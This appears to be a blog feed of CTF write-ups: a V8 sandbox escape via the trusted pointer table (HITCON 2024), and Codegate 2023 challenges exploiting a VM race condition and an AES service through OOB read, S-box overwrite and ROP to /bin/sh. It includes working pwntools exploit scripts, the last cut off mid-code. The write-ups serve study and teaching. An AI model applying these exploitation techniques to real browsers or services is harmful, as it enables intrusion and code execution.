2019's blog 一位失败人士的blog https://mem2019.github.io/ Tue, 26 Aug 2025 21:22:34 +0000 Tue, 26 Aug 2025 21:22:34 +0000 Jekyll v3.10.0 Breaking V8 Sandbox with Trusted Pointer Table <p>Recently, I have submitted my academic paper to NDSS 2025. Now it’s time to take a break. Following the deadline is the HITCON CTF 2024, so as the break, why not take a look? I really haven’t played CTF for quite a long time. :)</p> <p>During the two days, I spent my efforts on the V8 Sandbox challenge. Actually I haven’t worked on V8 for a while. It seems that the sandbox feature now has already been enabled and incorporated into the bug bounty program. This is also a chance for me to catch up to the new progress on the V8 security. :)</p> <h2 id="0x00-abstract">0x00 Abstract</h2> <p>The challenge provides two exploitation primitives: writing a 64-bit value to the entry of the trusted pointer table and leaking the base address of PIE. We can use the first primitive to fake a <code class="language-plaintext highlighter-rouge">WasmExportedFunctionData</code> instance, allowing us to set <code class="language-plaintext highlighter-rouge">rip</code> to an 8-byte value in the trusted memory region. To control the content in this region, we leverage the immediate number arguments of the bytecode instruction <code class="language-plaintext highlighter-rouge">AddSmi.ExtraWide</code>. We can set the <code class="language-plaintext highlighter-rouge">rip</code> to point to the immediate numbers in the RWX page, whose address can be leaked by the second primitive, to execute our shellcode.</p> <h2 id="0x01-trusted-pointer-table">0x01 Trusted Pointer Table</h2> <p>According to <a href="https://docs.google.com/document/d/1FM4fQmIhEqPG8uGp5o9A-mnPB5BOeScZYpkHjo0KKA8/edit#heading=h.5d6zvgc8i4uw">the design documentation of V8 Sandbox</a>, we can know that the trusted pointer table is used for storing the references to the trusted objects outside the sandbox. If a V8 object inside the sandbox needs to reference any trusted object, it stores a reference (i.e., index) to an entry of the trusted pointer table. The entry stores a pointer to the trusted object along with a tag value.</p> <p>Some examples of the entries in the table are shown below. We can see that the high 16 bits are the tag, and the low 48 bits are the address to the V8 Object. In the example below, we <code class="language-plaintext highlighter-rouge">job</code> an entry containing pointer to a <code class="language-plaintext highlighter-rouge">WasmExportedFunctionData</code> instance. Another thing to note is that the first <code class="language-plaintext highlighter-rouge">0x2000</code> indices are read-only page, which seem to be unused.</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤ tel 0x007fff54010000 0x007fff54010000│+0x0000: 0x1b158f00040061 ("a"?) 0x007fff54010008│+0x0008: 0x001b158f00040181 0x007fff54010010│+0x0010: 0x001e158f0004021d 0x007fff54010018│+0x0018: 0x002b158f000402fd 0x007fff54010020│+0x0020: 0x002d158f00040321 0x007fff54010028│+0x0028: 0x001b158f00040369 0x007fff54010030│+0x0030: 0x001b158f000c0011 0x007fff54010038│+0x0038: 0x001b158f000403ad 0x007fff54010040│+0x0040: 0x80000000002009 ("\t "?) 0x007fff54010048│+0x0048: 0x8000000000200a ("\n "?) gef➤ job 0x158f00040321 # Entry `+0x0020:`, low 48 bits are address. 0x158f00040321: [WasmExportedFunctionData] - map: 0x336300001e15 &lt;Map[56](WASM_EXPORTED_FUNCTION_DATA_TYPE)&gt; - func_ref: 0x336300199ed9 &lt;Other heap object (WASM_FUNC_REF_TYPE)&gt; - internal: 0x158f000402fd &lt;Other heap object (WASM_INTERNAL_FUNCTION_TYPE)&gt; - wrapper_code: 0x33630003c1b9 &lt;Code BUILTIN JSToWasmWrapper&gt; - js_promise_flags: 10 - instance_data: 0x158f0004021d &lt;Other heap object (WASM_TRUSTED_INSTANCE_DATA_TYPE)&gt; - function_index: 0 - signature: 0x555557fe5ea0 - wrapper_budget: 1000 </code></pre></div></div> <h2 id="0x02-faking-object">0x02 Faking Object</h2> <p>In this challenge, we can rewrite a table entry to an arbitrary value. After some trial, it seems that the only entry that may lead to the exploitation is the <code class="language-plaintext highlighter-rouge">WasmExportedFunctionData</code> shown above. I have also spent long time on other web-assembly object entries but none of them work. For example, I also tried <code class="language-plaintext highlighter-rouge">WasmInternalFunction</code> that is simpler and contains the web-assembly JIT code address directly (e.g., using <code class="language-plaintext highlighter-rouge">WebAssembly.Table</code> or calling the victim function in the web-assembly), but it seems that the JIT code address referenced by this entry is never used. The primary reason for this is that I didn’t know <code class="language-plaintext highlighter-rouge">Sandbox.base</code> can provide the base address of the sandboxed memory region, causing me to spend a lot of time in finding out how to fake an object using JIT immediate numbers on the RWX page whose address can be leaked by the provided PIE address, but this task is pretty hard especially the instance is as complex as <code class="language-plaintext highlighter-rouge">WasmExportedFunctionData</code>. Nonetheless, finally my teammate provides a PoC that informs me such leak.</p> <p>The <code class="language-plaintext highlighter-rouge">Sandbox</code> instance provides many exploitation primitives, including arbitrary read and write in the sandboxed memory region. Therefore, we can easily fake a <code class="language-plaintext highlighter-rouge">WasmExportedFunctionData</code> instance in the sandboxed memory region, such as using a double array, and obtain the address of the faked object. We can simply copy the content from the <code class="language-plaintext highlighter-rouge">WasmExportedFunctionData</code>, except that we want the <code class="language-plaintext highlighter-rouge">internal</code> field to point to the correct address containing our controlled data. Besides, the field <code class="language-plaintext highlighter-rouge">signature</code> should also point to a buffer filled with zeros.</p> <h2 id="0x03-controlling-trusted-region-content">0x03 Controlling Trusted Region Content</h2> <p>The good news is that controlling <code class="language-plaintext highlighter-rouge">internal</code> field enables us to control <code class="language-plaintext highlighter-rouge">rip</code> because it reads a code address from the <code class="language-plaintext highlighter-rouge">internal</code> pointer and set it to <code class="language-plaintext highlighter-rouge">rip</code>, However, the bad news is that the field pointer is only an offset of the trusted memory region. In other words, we can only control the low 32 bits of the pointer, with the high 32 bits of the pointer being fixed to the base address of the trusted memory region.</p> <p>Therefore, to control <code class="language-plaintext highlighter-rouge">rip</code>, we must somewhat be able to control some memory content in the trusted memory region, 8 bytes to be specific. However, it seems that most of the objects with content controllable are not in the trusted memory region but in the sandboxed memory region. After some investigation, we found that we may be able to control the arguments of <code class="language-plaintext highlighter-rouge">AddSmi.ExtraWide</code> to achieve such memory control. To be specific, the opcode contains two arguments: the first one is the immediate number we can control, and the second one is an index. I am not sure what the second argument is exactly, but the thing I notice is that it equals to the number of <code class="language-plaintext highlighter-rouge">AddSmi</code> appearing in the preceding part of the function. Therefore, if we insert <code class="language-plaintext highlighter-rouge">x</code> number of <code class="language-plaintext highlighter-rouge">AddSmi</code> instructions before <code class="language-plaintext highlighter-rouge">AddSmi.ExtraWide</code>, the value will be the <code class="language-plaintext highlighter-rouge">x</code>. Using this approach, we can control 6 bytes in the trusted region with two following bytes being zero. An example of <code class="language-plaintext highlighter-rouge">AddSmi.ExtraWide</code> is shown below. The bytes that can be used to set <code class="language-plaintext highlighter-rouge">rip</code> is in the bracket.</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>01 47 (c2 12 00 e0 55 55 00 00) AddSmi.ExtraWide [-536866110], [21845] </code></pre></div></div> <h2 id="0x04-executing-shellcode">0x04 Executing Shellcode</h2> <p>Finally, we can set <code class="language-plaintext highlighter-rouge">rip</code> to our shellcode. We can use the similar approach I used <a href="https://mem2019.github.io/jekyll/update/2022/02/06/DiceCTF-Memory-Hole.html">previously</a> to construct the shellcode inside the immediate number of a JIT JavaScript function. Fortunately directly copying function still gave the correct shellcode, since the offsets between the immediate numbers remain same after two years. The difference is that currently the JIT JavaScript function is stored in a RWX page whose address is not very random given the high 32 bits of base address of PIE, so we can set <code class="language-plaintext highlighter-rouge">rip</code> to the shellcode easily given such a leak.</p> <p>It seems that in different platform, the offset of the shellcode with respect to the RWX page can be different. The problem does not appear in the original exploit that I used in the CTF, but appears in the simplified exploit that I prepared for this write-up. I am not sure why actually.</p> <p>Finally, see the exploit <a href="https://github.com/Mem2019/Mem2019.github.io/blob/master/codes/HITCON-2024.js">here</a>.</p> Sun, 14 Jul 2024 00:00:00 +0000 https://mem2019.github.io/jekyll/update/2024/07/14/HITCON.html https://mem2019.github.io/jekyll/update/2024/07/14/HITCON.html jekyll update Codegate CTF 2023: pcpu & sea <p>Taking a break from my academic research, I played Codegate CTF 2023 this weekend with r3kapig. I solved two challenges: pcpu and sea, and both of them are quite interesting so here is the write-up for them. Thanks to the successful resolution of challenge sea in the last 20 minutes, our team manages to qualify for the finals. :)</p> <h2 id="pcpu">pcpu</h2> <h3 id="0x00-overview">0x00 Overview</h3> <p>The program implements an virtual machine for a very simple customized register-based instruction set. The virtual register value can either be an integer or a reference to a list of integers, and the instructions involve operations setting and getting the value of the register or the element of the list. The VM is implemented as a pipeline: in each execution cycle, multiple threads are created to perform different tasks. Due to such multi-threading, race condition can occur that allows us to tamper some important data, which allows us to leak the flag.</p> <h3 id="0x01-reverse-engineering">0x01 Reverse Engineering</h3> <p><strong>Instruction Loading.</strong> The function <code class="language-plaintext highlighter-rouge">0x2430</code> reads each instruction as an 32-bit integer and store them into an array. It executes <code class="language-plaintext highlighter-rouge">precheck.py</code> to check the validity of our instructions. This script simply executes these instructions and bails out if any error occurs, and in this case the program also exits. We can read this script to get some understanding of the semantics of the instructions. We can learn from this script that the register can not only be an integer but also be a reference to a list of integers. For example, <code class="language-plaintext highlighter-rouge">inst == 2</code> creates such list and assign its reference to the destination register.</p> <p><strong>Execution Pipeline.</strong> The function <code class="language-plaintext highlighter-rouge">0x26F0</code> executes one cycle of the pipeline, which is achieved using 5 threads. Among them, thread functions <code class="language-plaintext highlighter-rouge">0x1640</code>, <code class="language-plaintext highlighter-rouge">0x1550</code> and <code class="language-plaintext highlighter-rouge">0x12D0</code> simply moves the instruction from one queue to another while removing some unused bytes in some instructions, which are uninteresting. The thread function <code class="language-plaintext highlighter-rouge">0x16F0</code> executes the instruction obtained from the queue, but for operation that modifies the register value (e.g., move <code class="language-plaintext highlighter-rouge">X1</code> to <code class="language-plaintext highlighter-rouge">X0</code>), the actual task to do is stored into another queue. Such queue is popped in the last thread function <code class="language-plaintext highlighter-rouge">0x1E60</code>, which actually execute any register write scheduled in <code class="language-plaintext highlighter-rouge">0x16F0</code>.</p> <p><strong>Register Storing List.</strong> One unique feature of this virtual instruction set is that the value of a register can actually be a reference to a list. The function <code class="language-plaintext highlighter-rouge">0x2270</code> is used to allocate a list, which allocate a structure from <code class="language-plaintext highlighter-rouge">0x6230</code>. <code class="language-plaintext highlighter-rouge">0x6230</code> stores an array of 4 structures, each of which has the following field layout shown below. Such structure represents a list that could be referenced by a register. The function <code class="language-plaintext highlighter-rouge">0x2270</code> finds an element in this global array with field <code class="language-plaintext highlighter-rouge">is_free == 1</code>, which means the list is currently not referenced by any register. For such element, its field <code class="language-plaintext highlighter-rouge">is_free</code> is set to zero and its pointer is assigned to the corresponding register. In addition, before returning, <code class="language-plaintext highlighter-rouge">0x2270</code> also fetches a string pointer from <code class="language-plaintext highlighter-rouge">0x6100</code> (which is a pointer to an array of string pointers) indexed by field <code class="language-plaintext highlighter-rouge">rand_digit</code>, and copy this string into the field <code class="language-plaintext highlighter-rouge">list</code> (which overlap with <code class="language-plaintext highlighter-rouge">rand_digit</code> because they are not used at the same time). We should note that index 10 of <code class="language-plaintext highlighter-rouge">0x6100</code> is the flag. However, <code class="language-plaintext highlighter-rouge">rand_digit</code> can only be within the range <code class="language-plaintext highlighter-rouge">0-9</code>, which cannot allow us to access the flag string in normal situation. In addition, when a register pointing to a list is re-written by another value, the structure representing the list will be freed again by setting <code class="language-plaintext highlighter-rouge">is_free</code> to <code class="language-plaintext highlighter-rouge">1</code> and resetting <code class="language-plaintext highlighter-rouge">rand_digit</code> to a value within range <code class="language-plaintext highlighter-rouge">0-9</code>.</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">reg_list</span> <span class="p">{</span> <span class="kt">uint64_t</span> <span class="n">is_free</span><span class="p">;</span> <span class="k">union</span> <span class="p">{</span> <span class="kt">uint64_t</span> <span class="n">rand_digit</span><span class="p">;</span> <span class="c1">// used when is_free == 1</span> <span class="kt">uint8_t</span> <span class="n">list</span><span class="p">[</span><span class="mh">0x10000</span><span class="p">];</span> <span class="c1">// used when is_free == 0</span> <span class="p">}</span> <span class="p">};</span> </code></pre></div></div> <h3 id="0x02-vulnerabilty">0x02 Vulnerabilty</h3> <p>Actually, there are many problems in the program. For example, the VM of <code class="language-plaintext highlighter-rouge">precheck.py</code> is inconsistent with VM of the binary program, which could cause type confusion. However, such type confusion does not seem to be exploitable. The actual problem that we use to solve the challenge is the race condition.</p> <p>As we have mentioned earlier, the register rewrite is performed in a different thread (<code class="language-plaintext highlighter-rouge">0x1E60</code>, including freeing the <code class="language-plaintext highlighter-rouge">reg_list</code> structure) from another operation like writing element in a list referenced by a register (thread <code class="language-plaintext highlighter-rouge">0x16F0</code>). We have also found that there is a <code class="language-plaintext highlighter-rouge">sleep</code> function called in some element operations. For example, writing element of a list referenced by a register:</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* code snippet in function 0x16F0 */</span> <span class="c1">// obtain the register value</span> <span class="n">v17</span> <span class="o">=</span> <span class="p">(</span><span class="n">reg_list</span> <span class="o">*</span><span class="p">)</span><span class="o">*</span><span class="n">registers</span><span class="p">;</span> <span class="c1">// sleep that is long enough for other threads to terminate</span> <span class="n">sleep</span><span class="p">(</span><span class="mi">1u</span><span class="p">);</span> <span class="c1">// write element at index specified by the third byte to immediate number specified by the forth byte</span> <span class="n">v17</span><span class="o">-&gt;</span><span class="n">list</span><span class="p">[(</span><span class="kt">unsigned</span> <span class="kr">__int8</span><span class="p">)</span><span class="n">ptr</span><span class="o">-&gt;</span><span class="n">third_byte</span><span class="p">]</span> <span class="o">=</span> <span class="n">ptr</span><span class="o">-&gt;</span><span class="n">high_byte</span><span class="p">;</span> </code></pre></div></div> <p>Consider we have two consecutive instructions: <code class="language-plaintext highlighter-rouge">X0 = reg</code> and <code class="language-plaintext highlighter-rouge">X0[idx] = val</code>. We should note that writing <code class="language-plaintext highlighter-rouge">X0</code> (and also freeing list referenced by <code class="language-plaintext highlighter-rouge">X0</code>) and writing <code class="language-plaintext highlighter-rouge">X0[idx]</code> are both executed in the <em>same cycle</em>, by thread function <code class="language-plaintext highlighter-rouge">0x1E60</code> and thread function <code class="language-plaintext highlighter-rouge">0x16F0</code> respectively. Therefore, if we can fetch <code class="language-plaintext highlighter-rouge">*register</code> (<code class="language-plaintext highlighter-rouge">X0</code>) to <code class="language-plaintext highlighter-rouge">v17</code> before the list referenced by <code class="language-plaintext highlighter-rouge">X0</code> is freed by <code class="language-plaintext highlighter-rouge">0x1E60</code>, after <code class="language-plaintext highlighter-rouge">sleep(1)</code> the <code class="language-plaintext highlighter-rouge">v17</code> will point to a <code class="language-plaintext highlighter-rouge">reg_list</code> structure with <code class="language-plaintext highlighter-rouge">is_free == 1</code>; thus, we can write field <code class="language-plaintext highlighter-rouge">list</code> of a freed <code class="language-plaintext highlighter-rouge">reg_list</code> structure, which is now interpreted as <code class="language-plaintext highlighter-rouge">rand_digit</code>! Therefore, by setting the first byte to <code class="language-plaintext highlighter-rouge">10</code>, we can actually load the flag content into the list when this corrupted <code class="language-plaintext highlighter-rouge">reg_list</code> is allocated again. The full exploit is shown below:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span> <span class="n">context</span><span class="p">(</span><span class="n">log_level</span><span class="o">=</span><span class="s">'info'</span><span class="p">)</span> <span class="n">sh</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"43.202.54.209"</span><span class="p">,</span> <span class="mi">1234</span><span class="p">)</span> <span class="c1"># sh = process("./app") # gdb.attach(sh, "c") # sleep(2) </span> <span class="k">def</span> <span class="nf">send_insts</span><span class="p">(</span><span class="n">insts</span><span class="p">):</span> <span class="n">sh</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">"Inst Size &gt;"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">insts</span><span class="p">)).</span><span class="n">encode</span><span class="p">())</span> <span class="k">for</span> <span class="n">inst</span> <span class="ow">in</span> <span class="n">insts</span><span class="p">:</span> <span class="n">sh</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">u32</span><span class="p">(</span><span class="n">inst</span><span class="p">)).</span><span class="n">encode</span><span class="p">())</span> <span class="k">for</span> <span class="n">inst</span> <span class="ow">in</span> <span class="n">insts</span><span class="p">:</span> <span class="n">sh</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">" &gt; "</span><span class="p">)</span> <span class="n">alloc_list</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">reg</span> <span class="p">:</span> <span class="n">p8</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span> <span class="o">+</span> <span class="n">p8</span><span class="p">(</span><span class="n">reg</span><span class="p">)</span> <span class="o">+</span> <span class="n">p16</span><span class="p">(</span><span class="mh">0xffff</span><span class="p">)</span> <span class="n">read_reg_idx</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">dst</span><span class="p">,</span> <span class="n">src</span><span class="p">,</span> <span class="n">idx</span> <span class="p">:</span> <span class="n">p8</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span> <span class="o">+</span> <span class="n">p8</span><span class="p">(</span><span class="n">dst</span><span class="p">)</span> <span class="o">+</span> <span class="n">p8</span><span class="p">(</span><span class="n">src</span><span class="p">)</span> <span class="o">+</span> <span class="n">p8</span><span class="p">(</span><span class="n">idx</span><span class="p">)</span> <span class="n">write_reg0_idx</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">idx</span><span class="p">,</span> <span class="n">data</span> <span class="p">:</span> <span class="n">p8</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span> <span class="o">+</span> <span class="n">p8</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">+</span> <span class="n">p8</span><span class="p">(</span><span class="n">idx</span><span class="p">)</span> <span class="o">+</span> <span class="n">p8</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> <span class="n">copy_reg</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">dst</span><span class="p">,</span> <span class="n">src</span> <span class="p">:</span> <span class="n">p8</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="o">+</span> <span class="n">p8</span><span class="p">(</span><span class="n">dst</span><span class="p">)</span> <span class="o">+</span> <span class="n">p8</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">+</span> <span class="n">p8</span><span class="p">(</span><span class="n">src</span><span class="p">)</span> <span class="n">dump_regs</span> <span class="o">=</span> <span class="k">lambda</span> <span class="p">:</span> <span class="n">p32</span><span class="p">(</span><span class="mi">7</span><span class="p">)</span> <span class="n">prog</span> <span class="o">=</span> <span class="p">[</span><span class="n">alloc_list</span><span class="p">(</span><span class="mi">0</span><span class="p">),</span> <span class="n">alloc_list</span><span class="p">(</span><span class="mi">1</span><span class="p">),</span> <span class="c1"># allocate 2 buffers </span> <span class="n">copy_reg</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">),</span> <span class="c1"># transfer x1 to x0, x0 will be released </span> <span class="n">write_reg0_idx</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">10</span><span class="p">),</span> <span class="c1"># if x0 is first fetched, and sleep, and then released, released buffer is rewritten </span> <span class="n">alloc_list</span><span class="p">(</span><span class="mi">3</span><span class="p">),</span> <span class="c1"># now new buffer allocation gives OOB access </span> <span class="n">dump_regs</span><span class="p">(),</span> <span class="c1"># ensure alloc is commited before any idx R/W </span><span class="p">]</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">78</span><span class="p">):</span> <span class="n">prog</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">read_reg_idx</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="n">i</span><span class="p">))</span> <span class="n">prog</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">dump_regs</span><span class="p">())</span> <span class="n">send_insts</span><span class="p">(</span><span class="n">prog</span><span class="p">)</span> <span class="n">flag</span> <span class="o">=</span> <span class="p">[]</span> <span class="n">sh</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"X2 : 0x"</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">78</span><span class="p">):</span> <span class="n">sh</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"X2 : 0x"</span><span class="p">)</span> <span class="n">flag</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">sh</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">),</span> <span class="mi">16</span><span class="p">))</span> <span class="k">if</span> <span class="n">flag</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">!=</span> <span class="nb">ord</span><span class="p">(</span><span class="s">'c'</span><span class="p">):</span> <span class="nb">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="k">print</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">flag</span><span class="p">),</span> <span class="sa">b</span><span class="s">""</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="nb">map</span><span class="p">(</span><span class="k">lambda</span> <span class="n">x</span><span class="p">:</span> <span class="nb">bytes</span><span class="p">([</span><span class="n">x</span><span class="p">]),</span> <span class="n">flag</span><span class="p">)))</span> <span class="n">sh</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span> <span class="c1"># codegate2023{a77f1e5998a7d38c0e1f77274a344f142a7ff9d167e1419d41d6489fb138bb45} # codegate2023{a77f1e5998a7d38c0e1f77274a344f142a7ff9d167e1419d41d6489fb138b044} </span></code></pre></div></div> <p>Due to race condition, we need to run it for several times in order to be able to achieve the scenario we want. In addition, due to the same race condition problem, we sometimes get the wrong flag because for some bytes the <code class="language-plaintext highlighter-rouge">X2</code> is printed before it is loaded with the flag content, but this can be easily fixed manually by comparing flags from different runs.</p> <h2 id="sea">sea</h2> <h3 id="0x00-overview-1">0x00 Overview</h3> <p>The program implements a simple AES-CBC encryption and decryption service, with <code class="language-plaintext highlighter-rouge">key</code> and <code class="language-plaintext highlighter-rouge">iv</code> being randomly generated and unknown to us. However, after each decryption the <code class="language-plaintext highlighter-rouge">key</code> and <code class="language-plaintext highlighter-rouge">iv</code> are re-generated. There are three vulnerabilities in the program: we firstly leak the pointers and canary via an out-of-bounds read in decryption; we then use a data segment overflow in the hexadecimal parser to rewrite the constants used by AES, so that <code class="language-plaintext highlighter-rouge">key</code> and <code class="language-plaintext highlighter-rouge">iv</code> can be leaked; finally, a stack overflow filled with encrypted data is exploited to get the code execution.</p> <h3 id="0x01-oob-read-to-leak-stack-data">0x01 OOB Read to Leak Stack Data</h3> <p>In decryption, the function <code class="language-plaintext highlighter-rouge">0x15A1</code> is called to unpad the decrypted data. However, the sign of the padding byte is used incorrectly, which causes the problem when padding byte is larger than <code class="language-plaintext highlighter-rouge">0x7f</code> (e.i., being negative when used as signed char). The problem is shown in the code snippet below.</p> <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span> <span class="p">(</span><span class="kt">char</span><span class="p">)</span><span class="n">last_byte</span> <span class="o">&lt;=</span> <span class="mi">16</span> <span class="o">&amp;&amp;</span> <span class="n">len</span> <span class="p">)</span> <span class="c1">// signed comparison, so negative byte can pass the check</span> <span class="p">{</span> <span class="k">while</span> <span class="p">(</span> <span class="n">last_byte</span> <span class="o">&gt;</span> <span class="n">i</span> <span class="p">)</span> <span class="c1">// unsigned comparison</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span> <span class="n">src</span><span class="p">[(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="n">last_idx</span> <span class="o">-</span> <span class="n">i</span><span class="p">]</span> <span class="o">!=</span> <span class="n">last_byte</span> <span class="p">)</span> <span class="c1">// unsigned subtraction</span> <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span><span class="p">;</span> <span class="p">}</span> <span class="n">memset</span><span class="p">(</span><span class="n">dst</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">len</span><span class="p">);</span> <span class="n">v12</span> <span class="o">=</span> <span class="n">len</span> <span class="o">-</span> <span class="p">(</span><span class="kt">char</span><span class="p">)</span><span class="n">last_byte</span><span class="p">;</span> <span class="c1">// signed subtraction, so a negative byte can increase the length!</span> <span class="n">result</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="o">*</span><span class="n">new_len</span> <span class="o">=</span> <span class="n">v12</span><span class="p">;</span> <span class="n">qmemcpy</span><span class="p">(</span><span class="n">dst</span><span class="p">,</span> <span class="n">src</span><span class="p">,</span> <span class="n">v12</span><span class="p">);</span> <span class="p">}</span> </code></pre></div></div> <p>For example, if the decrypted data is <code class="language-plaintext highlighter-rouge">'A' * 0x10 + '\x80' * 0x80</code>, the <code class="language-plaintext highlighter-rouge">last_byte</code> will be <code class="language-plaintext highlighter-rouge">0x80(-128)</code>. Due to its incorrect sign handling, these 128 padding bytes can be successfully unpaded, and finally the length is increased by 128, which causes the out-of-bounds read of the stack buffer. This could leak program base, <code class="language-plaintext highlighter-rouge">libc</code> base and canary.</p> <p>To have decrypted data <code class="language-plaintext highlighter-rouge">'A' * 0x10 + '\x80' * 0x80</code>, we first use the encryption oracle to encrypt <code class="language-plaintext highlighter-rouge">'A' * 0x10 + '\x80' * 0x80</code>, which will be padded and the actual data encrypted will be <code class="language-plaintext highlighter-rouge">'A' * 0x10 + '\x80' * 0x80 + '\x10' * 0x10</code>. Due to the property of AES-CBC, we can simply remove the last block (0x10 bytes) of the encrypted data and send such truncated encrypted data to the decryption oracle, so that the decrypted data can be <code class="language-plaintext highlighter-rouge">'A' * 0x10 + '\x80' * 0x80</code>.</p> <h3 id="0x02-leaking-key-and-initialization-vector">0x02 Leaking Key and Initialization Vector</h3> <p>In hexadecimal parser function <code class="language-plaintext highlighter-rouge">0x1470</code>, <code class="language-plaintext highlighter-rouge">0x800</code> bytes are read into <code class="language-plaintext highlighter-rouge">0x4020</code> at <code class="language-plaintext highlighter-rouge">.data</code> segment. However, the buffer has only 288 bytes, and the following bytes are round constants, S-box, and inverse S-box used by AES algorithm. According to this <a href="https://www.cosic.esat.kuleuven.be/wissec2006/papers/10.pdf">paper</a>, after setting the S-box to zeros, the ciphertext generated by encrypting any data can be used to recover the key easily.</p> <p><img src="/images/AES_SBOX_1.png" alt="Recovering Last Expanded Key" /> <img src="/images/AES_SBOX_2.png" alt="Recovering Original Key" /></p> <p>In our scenario, since we can also write round constants, \(r_i\) in the paper can also be re-written to zeros. Therefore, we can simply recover the key by <code class="language-plaintext highlighter-rouge">kw[0:8] + p32(u32(kw[8:12]) ^ u32(kw[0:4])) + p32(u32(kw[12:16]) ^ u32(kw[4:8]))</code>, where <code class="language-plaintext highlighter-rouge">kw</code> is the last expanded key, which is any ciphertext block generated by such corrupted AES.</p> <p>After recovering the key, we use the overflow again to recover the constants of AES, and <code class="language-plaintext highlighter-rouge">iv</code> can be recovered by decrypting a block of ciphertext (obtained by encrypting a plaintext block using the encryption oracle) using ECB with the recovered <code class="language-plaintext highlighter-rouge">key</code> and calculating <code class="language-plaintext highlighter-rouge">xor</code> of decrypted block and the plaintext.</p> <h3 id="0x03-code-execution">0x03 Code Execution</h3> <p>Finally, we can use the stack overflow in encryption to get the code execution. Since our data is encrypted, we need to firstly decrypt our payload with leaked <code class="language-plaintext highlighter-rouge">key</code> and <code class="language-plaintext highlighter-rouge">iv</code> locally. However, since the ROP chain is quite small, we firstly pivot the stack onto <code class="language-plaintext highlighter-rouge">.data</code> segment and then execute the <code class="language-plaintext highlighter-rouge">"/bin/sh"</code>. This work is done by <a href="https://github.com/n132">@n132</a>.</p> <p>Here is the final exploit:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span> <span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span> <span class="kn">from</span> <span class="nn">binascii</span> <span class="kn">import</span> <span class="o">*</span> <span class="kn">import</span> <span class="nn">sys</span> <span class="n">context</span><span class="p">.</span><span class="n">log_level</span><span class="o">=</span><span class="s">'debug'</span> <span class="n">context</span><span class="p">.</span><span class="n">arch</span><span class="o">=</span><span class="s">'amd64'</span> <span class="n">context</span><span class="p">.</span><span class="n">terminal</span> <span class="o">=</span> <span class="p">[</span><span class="s">'tmux'</span><span class="p">,</span> <span class="s">'splitw'</span><span class="p">,</span> <span class="s">'-h'</span><span class="p">,</span> <span class="s">'-F'</span> <span class="s">'#{pane_pid}'</span><span class="p">,</span> <span class="s">'-P'</span><span class="p">]</span> <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span> <span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s">"./sea"</span><span class="p">,</span><span class="n">env</span><span class="o">=</span><span class="p">{</span><span class="s">'LD_PRELOAD'</span><span class="p">:</span><span class="s">"./libc-2.31.so"</span><span class="p">})</span> <span class="k">else</span><span 